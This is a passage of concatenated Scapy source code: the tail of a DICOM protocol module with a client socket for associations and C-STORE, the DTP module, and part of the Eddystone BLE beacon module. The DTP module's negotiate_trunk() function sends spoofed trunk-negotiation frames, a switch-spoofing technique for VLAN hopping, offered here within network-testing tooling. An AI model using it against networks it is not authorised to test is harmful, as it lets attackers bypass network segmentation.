item.""" name = "DICOM Abstract Syntax" fields_desc = [ StrLenField( "uid", b"", length_from=lambda pkt: ( pkt.underlayer.length if pkt.underlayer and pkt.underlayer.length else len(pkt.uid) ) ), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return "AbstractSyntax %s" % self.uid.decode("ascii").rstrip("\x00") class DICOMTransferSyntax(Packet): """DICOM Transfer Syntax item.""" name = "DICOM Transfer Syntax" fields_desc = [ StrLenField( "uid", _uid_to_bytes(DEFAULT_TRANSFER_SYNTAX_UID), length_from=lambda pkt: ( pkt.underlayer.length if pkt.underlayer and pkt.underlayer.length else len(pkt.uid) ) ), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return "TransferSyntax %s" % self.uid.decode("ascii").rstrip("\x00") class DICOMPresentationContextRQ(Packet): """DICOM Presentation Context item for association requests.""" name = "DICOM Presentation Context RQ" fields_desc = [ ByteField("context_id", 1), ByteField("reserved1", 0), ByteField("reserved2", 0), ByteField("reserved3", 0), PacketListField( "sub_items", [], DICOMVariableItem, max_count=64, length_from=lambda pkt: ( pkt.underlayer.length - 4 if pkt.underlayer and pkt.underlayer.length else 0 ) ), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return "PresentationContext-RQ ctx_id=%d" % self.context_id class DICOMPresentationContextAC(Packet): """DICOM Presentation Context item for association accepts.""" name = "DICOM Presentation Context AC" RESULT_CODES = { 0: "acceptance", 1: "user-rejection", 2: "no-reason", 3: "abstract-syntax-not-supported", 4: "transfer-syntaxes-not-supported", } fields_desc = [ ByteField("context_id", 1), ByteField("reserved1", 0), ByteEnumField("result", 0, RESULT_CODES), ByteField("reserved2", 0), PacketListField( "sub_items", [], DICOMVariableItem, max_count=8, length_from=lambda pkt: ( pkt.underlayer.length - 4 if pkt.underlayer and pkt.underlayer.length else 0 ) ), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return self.sprintf( "PresentationContext-AC ctx_id=%context_id% result=%result%" ) class DICOMMaximumLength(Packet): """DICOM Maximum Length sub-item.""" name = "DICOM Maximum Length" fields_desc = [ IntField("max_pdu_length", 16384), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return "MaxLength %d" % self.max_pdu_length class DICOMImplementationClassUID(Packet): """DICOM Implementation Class UID sub-item.""" name = "DICOM Implementation Class UID" fields_desc = [ StrLenField( "uid", b"", length_from=lambda pkt: ( pkt.underlayer.length if pkt.underlayer and pkt.underlayer.length else len(pkt.uid) ) ), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return "ImplClassUID %s" % self.uid.decode("ascii").rstrip("\x00") class DICOMImplementationVersionName(Packet): """DICOM Implementation Version Name sub-item.""" name = "DICOM Implementation Version Name" fields_desc = [ StrLenField( "name", b"", length_from=lambda pkt: ( pkt.underlayer.length if pkt.underlayer and pkt.underlayer.length else len(pkt.name) ) ), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return "ImplVersion %s" % self.name.decode("ascii").rstrip("\x00") class DICOMAsyncOperationsWindow(Packet): """DICOM Asynchronous Operations Window sub-item.""" name = "DICOM Async Operations Window" fields_desc = [ ShortField("max_ops_invoked", 1), ShortField("max_ops_performed", 1), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return "AsyncOps inv=%d perf=%d" % ( self.max_ops_invoked, self.max_ops_performed ) class DICOMSCPSCURoleSelection(Packet): """DICOM SCP/SCU Role Selection sub-item.""" name = "DICOM SCP/SCU Role Selection" fields_desc = [ FieldLenField("uid_length", None, length_of="sop_class_uid", fmt="!H"), StrLenField("sop_class_uid", b"", length_from=lambda pkt: pkt.uid_length), ByteField("scu_role", 0), ByteField("scp_role", 0), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return "RoleSelection SCU=%d SCP=%d" % (self.scu_role, self.scp_role) class DICOMSOPClassExtendedNegotiation(Packet): """DICOM SOP Class Extended Negotiation sub-item (PS3.7 D.3.3.5).""" name = "DICOM SOP Class Extended Negotiation" fields_desc = [ FieldLenField("sop_class_uid_length", None, length_of="sop_class_uid", fmt="!H"), StrLenField("sop_class_uid", b"", length_from=lambda pkt: pkt.sop_class_uid_length), StrLenField("service_class_application_information", b"", length_from=lambda pkt: ( pkt.underlayer.length - 2 - pkt.sop_class_uid_length if pkt.underlayer and pkt.underlayer.length else 0 )), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return "SOPClassExtNeg %s" % self.sop_class_uid.decode("ascii").rstrip("\x00") class DICOMSOPClassCommonExtendedNegotiation(Packet): """DICOM SOP Class Common Extended Negotiation sub-item (PS3.7 D.3.3.6).""" name = "DICOM SOP Class Common Extended Negotiation" fields_desc = [ FieldLenField("sop_class_uid_length", None, length_of="sop_class_uid", fmt="!H"), StrLenField("sop_class_uid", b"", length_from=lambda pkt: pkt.sop_class_uid_length), FieldLenField("service_class_uid_length", None, length_of="service_class_uid", fmt="!H"), StrLenField("service_class_uid", b"", length_from=lambda pkt: pkt.service_class_uid_length), FieldLenField("related_sop_class_uid_length", None, length_of="related_sop_class_uids", fmt="!H"), StrLenField("related_sop_class_uids", b"", length_from=lambda pkt: pkt.related_sop_class_uid_length), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: uid = self.sop_class_uid.decode("ascii").rstrip("\x00") return "SOPClassCommonExtNeg %s" % uid USER_IDENTITY_TYPES = { 1: "Username", 2: "Username and Passcode", 3: "Kerberos Service Ticket", 4: "SAML Assertion", 5: "JSON Web Token (JWT)", } class DICOMUserIdentity(Packet): """DICOM User Identity sub-item.""" name = "DICOM User Identity" fields_desc = [ ByteEnumField("user_identity_type", 1, USER_IDENTITY_TYPES), ByteField("positive_response_requested", 0), FieldLenField("primary_field_length", None, length_of="primary_field", fmt="!H"), StrLenField("primary_field", b"", length_from=lambda pkt: pkt.primary_field_length), ConditionalField( FieldLenField("secondary_field_length", None, length_of="secondary_field", fmt="!H"), lambda pkt: pkt.user_identity_type == 2 ), ConditionalField( StrLenField("secondary_field", b"", length_from=lambda pkt: pkt.secondary_field_length), lambda pkt: pkt.user_identity_type == 2 ), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return self.sprintf("UserIdentity %user_identity_type%") class DICOMUserIdentityResponse(Packet): """DICOM User Identity Server Response sub-item.""" name = "DICOM User Identity Response" fields_desc = [ FieldLenField("response_length", None, length_of="server_response", fmt="!H"), StrLenField("server_response", b"", length_from=lambda pkt: pkt.response_length), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return "UserIdentityResponse" class DICOMUserInformation(Packet): """DICOM User Information item.""" name = "DICOM User Information" fields_desc = [ PacketListField( "sub_items", [], DICOMVariableItem, max_count=32, length_from=lambda pkt: ( pkt.underlayer.length if pkt.underlayer and pkt.underlayer.length else 0 ) ), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: return "UserInfo (%d items)" % len(self.sub_items) bind_layers(DICOMVariableItem, DICOMApplicationContext, item_type=0x10) bind_layers(DICOMVariableItem, DICOMPresentationContextRQ, item_type=0x20) bind_layers(DICOMVariableItem, DICOMPresentationContextAC, item_type=0x21) bind_layers(DICOMVariableItem, DICOMAbstractSyntax, item_type=0x30) bind_layers(DICOMVariableItem, DICOMTransferSyntax, item_type=0x40) bind_layers(DICOMVariableItem, DICOMUserInformation, item_type=0x50) bind_layers(DICOMVariableItem, DICOMMaximumLength, item_type=0x51) bind_layers(DICOMVariableItem, DICOMImplementationClassUID, item_type=0x52) bind_layers(DICOMVariableItem, DICOMAsyncOperationsWindow, item_type=0x53) bind_layers(DICOMVariableItem, DICOMSCPSCURoleSelection, item_type=0x54) bind_layers(DICOMVariableItem, DICOMImplementationVersionName, item_type=0x55) bind_layers(DICOMVariableItem, DICOMSOPClassExtendedNegotiation, item_type=0x56) bind_layers(DICOMVariableItem, DICOMSOPClassCommonExtendedNegotiation, item_type=0x57) bind_layers(DICOMVariableItem, DICOMUserIdentity, item_type=0x58) bind_layers(DICOMVariableItem, DICOMUserIdentityResponse, item_type=0x59) bind_layers(DICOMVariableItem, DICOMGenericItem) class DICOM(Packet): """DICOM Upper Layer (UL) PDU header.""" name = "DICOM UL" fields_desc = [ ByteEnumField("pdu_type", 0x01, PDU_TYPES), ByteField("reserved1", 0), LenField("length", None, fmt="!I"), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: if self.length is not None: return s[:self.length], s[self.length:] return s, b"" def mysummary(self) -> str: return self.sprintf("DICOM %pdu_type%") class PresentationDataValueItem(Packet): """Presentation Data Value (PDV) item within P-DATA-TF PDU.""" name = "PresentationDataValueItem" fields_desc = [ FieldLenField("length", None, length_of="data", fmt="!I", adjust=lambda pkt, x: x + 2), ByteField("context_id", 1), BitField("reserved_bits", 0, 6), BitField("is_last", 0, 1), BitField("is_command", 0, 1), StrLenField("data", b"", length_from=lambda pkt: max(0, (pkt.length or 2) - 2)), ] def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]: return b"", s def mysummary(self) -> str: cmd_or_data = "CMD" if self.is_command else "DATA" last = " LAST" if self.is_last else "" return "PDV ctx=%d %s%s len=%d" % ( self.context_id, cmd_or_data, last, len(self.data) ) class A_ASSOCIATE_RQ(Packet): """A-ASSOCIATE-RQ PDU for initiating DICOM associations.""" name = "A-ASSOCIATE-RQ" fields_desc = [ ShortField("protocol_version", 1), ShortField("reserved1", 0), DICOMAETitleField("called_ae_title", b""), DICOMAETitleField("calling_ae_title", b""), StrFixedLenField("reserved2", b"\x00" * 32, 32), PacketListField( "variable_items", [], DICOMVariableItem, max_count=256, length_from=lambda pkt: ( pkt.underlayer.length - 68 if pkt.underlayer and pkt.underlayer.length else 0 ) ), ] def mysummary(self) -> str: called = self.called_ae_title.strip().decode("ascii", errors="replace") calling = self.calling_ae_title.strip().decode("ascii", errors="replace") return "A-ASSOCIATE-RQ %s -> %s" % (calling, called) def hashret(self) -> bytes: return self.called_ae_title + self.calling_ae_title class A_ASSOCIATE_AC(Packet): """A-ASSOCIATE-AC PDU for accepting DICOM associations.""" name = "A-ASSOCIATE-AC" fields_desc = [ ShortField("protocol_version", 1), ShortField("reserved1", 0), DICOMAETitleField("called_ae_title", b""), DICOMAETitleField("calling_ae_title", b""), StrFixedLenField("reserved2", b"\x00" * 32, 32), PacketListField( "variable_items", [], DICOMVariableItem, max_count=256, length_from=lambda pkt: ( pkt.underlayer.length - 68 if pkt.underlayer and pkt.underlayer.length else 0 ) ), ] def mysummary(self) -> str: called = self.called_ae_title.strip().decode("ascii", errors="replace") calling = self.calling_ae_title.strip().decode("ascii", errors="replace") return "A-ASSOCIATE-AC %s <- %s" % (calling, called) def hashret(self) -> bytes: return self.called_ae_title + self.calling_ae_title def answers(self, other: Packet) -> bool: return isinstance(other, A_ASSOCIATE_RQ) class A_ASSOCIATE_RJ(Packet): """A-ASSOCIATE-RJ PDU for rejecting DICOM associations.""" name = "A-ASSOCIATE-RJ" RESULT_CODES = { 1: "rejected-permanent", 2: "rejected-transient", } SOURCE_CODES = { 1: "DICOM UL service-user", 2: "DICOM UL service-provider (ACSE)", 3: "DICOM UL service-provider (Presentation)", } fields_desc = [ ByteField("reserved1", 0), ByteEnumField("result", 1, RESULT_CODES), ByteEnumField("source", 1, SOURCE_CODES), ByteField("reason_diag", 1), ] def mysummary(self) -> str: return self.sprintf("A-ASSOCIATE-RJ %result% %source%") def answers(self, other: Packet) -> bool: return isinstance(other, A_ASSOCIATE_RQ) class P_DATA_TF(Packet): """P-DATA-TF PDU for transferring DICOM data.""" name = "P-DATA-TF" fields_desc = [ PacketListField( "pdv_items", [], PresentationDataValueItem, max_count=256, length_from=lambda pkt: ( pkt.underlayer.length if pkt.underlayer and pkt.underlayer.length else 0 ) ), ] def mysummary(self) -> str: return "P-DATA-TF (%d PDVs)" % len(self.pdv_items) class A_RELEASE_RQ(Packet): """A-RELEASE-RQ PDU for requesting association release.""" name = "A-RELEASE-RQ" fields_desc = [IntField("reserved1", 0)] def mysummary(self) -> str: return "A-RELEASE-RQ" class A_RELEASE_RP(Packet): """A-RELEASE-RP PDU for confirming association release.""" name = "A-RELEASE-RP" fields_desc = [IntField("reserved1", 0)] def mysummary(self) -> str: return "A-RELEASE-RP" def answers(self, other: Packet) -> bool: return isinstance(other, A_RELEASE_RQ) class A_ABORT(Packet): """A-ABORT PDU for aborting DICOM associations.""" name = "A-ABORT" SOURCE_CODES = { 0: "DICOM UL service-user", 2: "DICOM UL service-provider", } fields_desc = [ ByteField("reserved1", 0), ByteField("reserved2", 0), ByteEnumField("source", 0, SOURCE_CODES), ByteField("reason_diag", 0), ] def mysummary(self) -> str: return self.sprintf("A-ABORT %source%") bind_layers(TCP, DICOM, dport=DICOM_PORT) bind_layers(TCP, DICOM, sport=DICOM_PORT) bind_layers(TCP, DICOM, dport=DICOM_PORT_ALT) bind_layers(TCP, DICOM, sport=DICOM_PORT_ALT) bind_layers(DICOM, A_ASSOCIATE_RQ, pdu_type=0x01) bind_layers(DICOM, A_ASSOCIATE_AC, pdu_type=0x02) bind_layers(DICOM, A_ASSOCIATE_RJ, pdu_type=0x03) bind_layers(DICOM, P_DATA_TF, pdu_type=0x04) bind_layers(DICOM, A_RELEASE_RQ, pdu_type=0x05) bind_layers(DICOM, A_RELEASE_RP, pdu_type=0x06) bind_layers(DICOM, A_ABORT, pdu_type=0x07) def build_presentation_context_rq(context_id: int, abstract_syntax_uid: str, transfer_syntax_uids: List[str]) -> Packet: """Build a Presentation Context RQ item.""" abs_uid = _uid_to_bytes(abstract_syntax_uid) abs_syn = DICOMVariableItem() / DICOMAbstractSyntax(uid=abs_uid) sub_items = [abs_syn] for ts_uid in transfer_syntax_uids: ts = DICOMVariableItem() / DICOMTransferSyntax(uid=_uid_to_bytes(ts_uid)) sub_items.append(ts) return DICOMVariableItem() / DICOMPresentationContextRQ( context_id=context_id, sub_items=sub_items, ) def build_user_information(max_pdu_length: int = 16384, implementation_class_uid: Optional[str] = None, implementation_version: Optional[Union[str, bytes]] = None ) -> Packet: """Build a User Information item.""" sub_items = [ DICOMVariableItem() / DICOMMaximumLength(max_pdu_length=max_pdu_length) ] if implementation_class_uid: uid = _uid_to_bytes(implementation_class_uid) sub_items.append( DICOMVariableItem() / DICOMImplementationClassUID(uid=uid) ) if implementation_version: if isinstance(implementation_version, bytes): ver_bytes = implementation_version else: ver_bytes = implementation_version.encode('ascii') sub_items.append( DICOMVariableItem() / DICOMImplementationVersionName(name=ver_bytes) ) return DICOMVariableItem() / DICOMUserInformation(sub_items=sub_items) class DICOMSocket: """DICOM application-layer socket for associations and DIMSE operations.""" def __init__(self, dst_ip: str, dst_port: int, dst_ae: str, src_ae: str = "SCAPY_SCU", read_timeout: int = 10) -> None: self.dst_ip = dst_ip self.dst_port = dst_port self.dst_ae = dst_ae self.src_ae = src_ae self.sock: Optional[socket.socket] = None self.stream: Optional[StreamSocket] = None self.assoc_established = False self.accepted_contexts: Dict[int, Tuple[str, str]] = {} self.read_timeout = read_timeout self._current_message_id_counter = int(time.time()) % 50000 self._proposed_max_pdu = 16384 self.max_pdu_length = 16384 self._proposed_context_map: Dict[int, str] = {} def __enter__(self) -> Self: return self def __exit__(self, exc_type: Any, exc_val: Any, exc_tb: Any) -> bool: if self.assoc_established: try: self.release() except (socket.error, socket.timeout, OSError): pass self.close() return False def connect(self) -> bool: try: self.sock = socket.create_connection( (self.dst_ip, self.dst_port), timeout=self.read_timeout, ) self.stream = StreamSocket(self.sock, basecls=DICOM) return True except (socket.error, socket.timeout, OSError) as e: log.error("Connection failed: %s", e) return False def send(self, pkt: Packet) -> None: self.stream.send(pkt) def recv(self) -> Optional[Packet]: try: return self.stream.recv() except socket.timeout: return None except (socket.error, OSError) as e: log.error("Error receiving PDU: %s", e) return None def sr1(self, *args, **kargs): # type: (*Any, **Any) -> Optional[Packet] """Send one packet and receive one answer.""" timeout = kargs.pop("timeout", self.read_timeout) try: return self.stream.sr1(*args, timeout=timeout, **kargs) except (socket.error, OSError) as e: log.error("Error in sr1: %s", e) return None def send_raw_bytes(self, raw_bytes: bytes) -> None: self.sock.sendall(raw_bytes) def associate(self, requested_contexts: Optional[Dict[str, List[str]]] = None ) -> bool: if not self.stream and not self.connect(): return False if requested_contexts is None: requested_contexts = { VERIFICATION_SOP_CLASS_UID: [DEFAULT_TRANSFER_SYNTAX_UID] } self._proposed_context_map = {} variable_items: List[Packet] = [ DICOMVariableItem() / DICOMApplicationContext() ] ctx_id = 1 for abs_syntax, trn_syntaxes in requested_contexts.items(): self._proposed_context_map[ctx_id] = abs_syntax pctx = build_presentation_context_rq(ctx_id, abs_syntax, trn_syntaxes) variable_items.append(pctx) ctx_id += 2 user_info = build_user_information(max_pdu_length=self._proposed_max_pdu) variable_items.append(user_info) assoc_rq = DICOM() / A_ASSOCIATE_RQ( called_ae_title=self.dst_ae, calling_ae_title=self.src_ae, variable_items=variable_items, ) response = self.sr1(assoc_rq) if response: if response.haslayer(A_ASSOCIATE_AC): self.assoc_established = True self._parse_accepted_contexts(response) self._parse_max_pdu_length(response) return True elif response.haslayer(A_ASSOCIATE_RJ): log.error( "Association rejected: result=%d, source=%d, reason=%d", response[A_ASSOCIATE_RJ].result, response[A_ASSOCIATE_RJ].source, response[A_ASSOCIATE_RJ].reason_diag, ) return False log.error("Association failed: no valid response received") return False def _parse_max_pdu_length(self, response: Packet) -> None: try: for item in response[A_ASSOCIATE_AC].variable_items: if item.item_type != 0x50: continue if not item.haslayer(DICOMUserInformation): continue user_info = item[DICOMUserInformation] for sub_item in user_info.sub_items: if sub_item.item_type != 0x51: continue if not sub_item.haslayer(DICOMMaximumLength): continue max_len = sub_item[DICOMMaximumLength] server_max = max_len.max_pdu_length self.max_pdu_length = min( self._proposed_max_pdu, server_max ) return except (KeyError, IndexError, AttributeError): pass self.max_pdu_length = self._proposed_max_pdu def _parse_accepted_contexts(self, response: Packet) -> None: for item in response[A_ASSOCIATE_AC].variable_items: if item.item_type != 0x21: continue if not item.haslayer(DICOMPresentationContextAC): continue pctx = item[DICOMPresentationContextAC] ctx_id = pctx.context_id result = pctx.result if result != 0: continue abs_syntax = self._proposed_context_map.get(ctx_id) if abs_syntax is None: continue for sub_item in pctx.sub_items: if sub_item.item_type != 0x40: continue if not sub_item.haslayer(DICOMTransferSyntax): continue ts_uid = sub_item[DICOMTransferSyntax].uid ts_uid = ts_uid.rstrip(b"\x00").decode("ascii") self.accepted_contexts[ctx_id] = (abs_syntax, ts_uid) break def _get_next_message_id(self) -> int: self._current_message_id_counter += 1 return self._current_message_id_counter & 0xFFFF def _find_accepted_context_id(self, sop_class_uid: str, transfer_syntax_uid: Optional[str] = None ) -> Optional[int]: for ctx_id, (abs_syntax, ts_syntax) in self.accepted_contexts.items(): if abs_syntax == sop_class_uid: if transfer_syntax_uid is None or transfer_syntax_uid == ts_syntax: return ctx_id return None def c_echo(self) -> Optional[int]: if not self.assoc_established: log.error("Association not established") return None echo_ctx_id = self._find_accepted_context_id(VERIFICATION_SOP_CLASS_UID) if echo_ctx_id is None: log.error("No accepted context for Verification SOP Class") return None msg_id = self._get_next_message_id() dimse_rq = bytes(C_ECHO_RQ(message_id=msg_id)) pdv_rq = PresentationDataValueItem( context_id=echo_ctx_id, data=dimse_rq, is_command=1, is_last=1, ) pdata_rq = DICOM() / P_DATA_TF(pdv_items=[pdv_rq]) response = self.sr1(pdata_rq) if response and response.haslayer(P_DATA_TF): pdv_items = response[P_DATA_TF].pdv_items if pdv_items: pdv_rsp = pdv_items[0] return parse_dimse_status(pdv_rsp.data) return None def c_store(self, dataset_bytes: bytes, sop_class_uid: str, sop_instance_uid: str, transfer_syntax_uid: str ) -> Optional[int]: if not self.assoc_established: log.error("Association not established") return None store_ctx_id = self._find_accepted_context_id( sop_class_uid, transfer_syntax_uid, ) if store_ctx_id is None: log.error( "No accepted context for SOP %s with TS %s", sop_class_uid, transfer_syntax_uid, ) return None msg_id = self._get_next_message_id() dimse_rq = bytes(C_STORE_RQ( affected_sop_class_uid=sop_class_uid, affected_sop_instance_uid=sop_instance_uid, message_id=msg_id, )) cmd_pdv = PresentationDataValueItem( context_id=store_ctx_id, data=dimse_rq, is_command=1, is_last=1, ) pdata_cmd = DICOM() / P_DATA_TF(pdv_items=[cmd_pdv]) self.send(pdata_cmd) max_pdv_data = self.max_pdu_length - 12 if len(dataset_bytes) <= max_pdv_data: data_pdv = PresentationDataValueItem( context_id=store_ctx_id, data=dataset_bytes, is_command=0, is_last=1, ) pdata_data = DICOM() / P_DATA_TF(pdv_items=[data_pdv]) self.send(pdata_data) else: offset = 0 while offset < len(dataset_bytes): chunk = dataset_bytes[offset:offset + max_pdv_data] is_last = 1 if (offset + len(chunk) >= len(dataset_bytes)) else 0 data_pdv = PresentationDataValueItem( context_id=store_ctx_id, data=chunk, is_command=0, is_last=is_last, ) pdata_data = DICOM() / P_DATA_TF(pdv_items=[data_pdv]) self.send(pdata_data) offset += len(chunk) response = self.recv() if response and response.haslayer(P_DATA_TF): pdv_items = response[P_DATA_TF].pdv_items if pdv_items: pdv_rsp = pdv_items[0] return parse_dimse_status(pdv_rsp.data) return None def release(self) -> bool: if not self.assoc_established: return True release_rq = DICOM() / A_RELEASE_RQ() response = self.sr1(release_rq) self.close() if response: return response.haslayer(A_RELEASE_RP) return False def close(self) -> None: if self.stream: try: self.stream.close() except (socket.error, OSError): pass self.sock = None self.stream = None self.assoc_established = False ================================================ FILE: scapy/contrib/dtp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Dynamic Trunking Protocol (DTP) # scapy.contrib.status = loads """ DTP Scapy Extension ~~~~~~~~~~~~~~~~~~~ :version: 2008-12-22 :author: Jochen Bartl :Thanks: - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard) # noqa: E501 """ import struct from scapy.packet import Packet, bind_layers from scapy.fields import ByteField, FieldLenField, MACField, PacketListField, \ ShortField, StrLenField, XShortField from scapy.layers.l2 import SNAP, Dot3, LLC from scapy.sendrecv import sendp from scapy.config import conf from scapy.volatile import RandMAC class DtpGenericTlv(Packet): name = "DTP Generic TLV" fields_desc = [XShortField("type", 0x0001), FieldLenField("length", None, length_of=lambda pkt:pkt.value + 4), # noqa: E501 StrLenField("value", "", length_from=lambda pkt:pkt.length - 4) # noqa: E501 ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: t = struct.unpack("!H", _pkt[:2])[0] cls = _DTP_TLV_CLS.get(t, "DtpGenericTlv") return cls def guess_payload_class(self, p): return conf.padding_layer class DTPDomain(DtpGenericTlv): name = "DTP Domain" fields_desc = [ShortField("type", 1), FieldLenField("length", None, "domain", adjust=lambda pkt, x:x + 4), # noqa: E501 StrLenField("domain", b"\x00", length_from=lambda pkt:pkt.length - 4) # noqa: E501 ] class DTPStatus(DtpGenericTlv): name = "DTP Status" fields_desc = [ShortField("type", 2), FieldLenField("length", None, "status", adjust=lambda pkt, x:x + 4), # noqa: E501 StrLenField("status", b"\x03", length_from=lambda pkt:pkt.length - 4) # noqa: E501 ] class DTPType(DtpGenericTlv): name = "DTP Type" fields_desc = [ShortField("type", 3), FieldLenField("length", None, "dtptype", adjust=lambda pkt, x:x + 4), # noqa: E501 StrLenField("dtptype", b"\xa5", length_from=lambda pkt:pkt.length - 4) # noqa: E501 ] class DTPNeighbor(DtpGenericTlv): name = "DTP Neighbor" fields_desc = [ShortField("type", 4), # FieldLenField("length", None, "neighbor", adjust=lambda pkt,x:x + 4), # noqa: E501 ShortField("len", 10), MACField("neighbor", None) ] _DTP_TLV_CLS = { 0x0001: DTPDomain, 0x0002: DTPStatus, 0x0003: DTPType, 0x0004: DTPNeighbor } class DTP(Packet): name = "DTP" fields_desc = [ByteField("ver", 1), PacketListField("tlvlist", [], DtpGenericTlv)] bind_layers(SNAP, DTP, code=0x2004, OUI=0xc) def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())): print("Trying to negotiate a trunk on interface %s" % iface) p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc") / LLC() p /= SNAP() p /= DTP(tlvlist=[DTPDomain(), DTPStatus(), DTPType(), DTPNeighbor(neighbor=mymac)]) # noqa: E501 sendp(p) ================================================ FILE: scapy/contrib/eddystone.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Michael Farrell # # scapy.contrib.description = Eddystone BLE proximity beacon # scapy.contrib.status = loads """ scapy.contrib.eddystone - Google Eddystone Bluetooth LE proximity beacons. The Eddystone specification can be found at: https://github.com/google/eddystone/blob/master/protocol-specification.md These beacons are used as building blocks for other systems: * Google's Physical Web * RuuviTag * Waze Beacons """ from scapy.compat import orb from scapy.fields import IntField, SignedByteField, StrField, BitField, \ StrFixedLenField, ShortField, FixedPointField, ByteEnumField from scapy.layers.bluetooth import EIR_Hdr, EIR_ServiceData16BitUUID, \ EIR_CompleteList16BitServiceUUIDs, LowEnergyBeaconHelper from scapy.packet import bind_layers, Packet EDDYSTONE_UUID = 0xfeaa EDDYSTONE_URL_SCHEMES = { 0: b"http://www.", 1: b"https://www.", 2: b"http://", 3: b"https://", } EDDYSTONE_URL_TABLE = { 0: b".com/", 1: b".org/", 2: b".edu/", 3: b".net/", 4: b".info/", 5: b".biz/", 6: b".gov/", 7: b".com", 8: b".org", 9: b".edu", 10: b".net", 11: b".info", 12: b".biz", 13: b".gov", } class EddystoneURLField(StrField): # https://github.com/google/eddystone/tree/master/eddystone-url#eddystone-url-http-url-encoding def i2m(self, pkt, x): if x is None: return b"" o = bytearray() p = 0 while p < len(x): c = orb(x[p]) if c == 46: # "." for k, v in EDDYSTONE_URL_TABLE.items(): if x.startswith(v, p): o.append(k) p += len(v) - 1 break else: o.append(c) else: o.append(c) p += 1 # Make the output immutable. return bytes(o) def m2i(self, pkt, x): if not x: return None o = bytearray() for c in x: i = orb(c) r = EDDYSTONE_URL_TABLE.get(i) if r is None: o.append(i) else: o.extend(r) return bytes(o) def any2i(self, pkt, x): if isinstance(x, str): x = x.encode("ascii") return x class Eddystone_Frame(Packet, LowEnergyBeaconHelper): """ The base Eddystone frame on which all Eddystone messages are built. https://github.com/google/eddystone/blob/master/protocol-specification.md """ name = "Eddystone Frame" fields_desc = [ BitField("type", None, 4), BitField("reserved", 0, 4), ] def build_eir(self): """Builds a list of EIR messages to wrap this frame.""" return LowEnergyBeaconHelper.base_eir + [ EIR_Hdr() / EIR_CompleteList16BitServiceUUIDs(svc_uuids=[ EDDYSTONE_UUID]), EIR_Hdr() / EIR_ServiceData16BitUUID() / self ] class Eddystone_UID(Packet): """ An Eddystone type for transmitting a unique identifier. https://github.com/google/eddystone/tree/master/eddystone-uid """ name = "Eddystone UID" fields_desc = [ SignedByteField("tx_power", 0), StrFixedLenField("namespace", None, 10), StrFixedLenField("instance", None, 6), StrFixedLenField("reserved", None, 2), ] class Eddystone_URL(Packet): """ An Eddystone type for transmitting a URL (to a web page). https://github.com/google/eddystone/tree/master/eddystone-url """ name = "Eddystone URL" fields_desc = [ SignedByteField("tx_power", 0), ByteEnumField("url_scheme", 0, EDDYSTONE_URL_SCHEMES), EddystoneURLField("url", None), ] def to_url(self): return EDDYSTONE_URL_SCHEMES[self.url_scheme] + self.url @staticmethod def from_url(url): """Creates an Eddystone_Frame with a Eddystone_URL for a given URL.""" url = url.encode('ascii') scheme = None for k, v in EDDYSTONE_URL_SCHEMES.items(): if url.startswith(v): scheme = k url = url[len(v):] break else: raise Exception("URLs must start with EDDYSTONE_URL_SCHEMES") return Eddystone_Frame() / Eddystone_URL( url_scheme=scheme, url=url) class Eddystone_TLM(Packet): """ An Eddystone type for transmitting beacon telemetry information. https://github.com/google/eddystone/tree/master/eddystone-tlm """ name = "Eddystone TLM" fields_desc = [ ByteEnumField("version", None, { 0: "unencrypted", 1: "encrypted", }), ] class Eddystone_TLM_Unencrypted(Packet): """ A subtype of Eddystone-TLM for transmitting telemetry in unencrypted form. https://github.com/google/eddystone/blob/master/eddystone-tlm/tlm-plain.md """ name = "Eddystone TLM (Unencrypted)" fields_desc = [ ShortField("batt_mv", 0), FixedPointField("temperature", -128, 16, 8), IntField("adv_cnt", None), IntField("sec_cnt", None), ] class Eddystone_TLM_Encrypted(Packet): """ A subtype of Eddystone-TLM for transmitting telemetry in encrypted form. This implementation does not support decrypting this data. https://github.com/google/eddystone/blob/master/eddystone-tlm/tlm-encrypted.md """ name = "Eddystone TLM (Encrypted)" fields_desc = [ StrFixedLenField("etlm", None, 12), StrFixedLenField("salt", None, 2), StrFixedLenField("mic", None, 2), ] class Eddystone_EID(Packet): """ An Eddystone type for transmitting encrypted, ephemeral identifiers. This implementation does not support decrypting this data. https://github.com/google/eddystone/tree/master/eddystone-eid """ name = "Eddystone EID" fields_desc = [ SignedByteField("tx_power", 0), StrFixedLenField("eid", None, 8), ] bind_layers(Eddystone_TLM, Eddystone_TLM_Unencrypted, version=0) bind_layers(Eddystone_TLM, Eddystone_TLM_Encrypted, version=1) bind_layers(Eddystone_Frame, Eddystone_UID, type=0) bind_layers(Eddystone_Frame, Eddystone_URL, type=1) bind_layers(Eddystone_Frame, 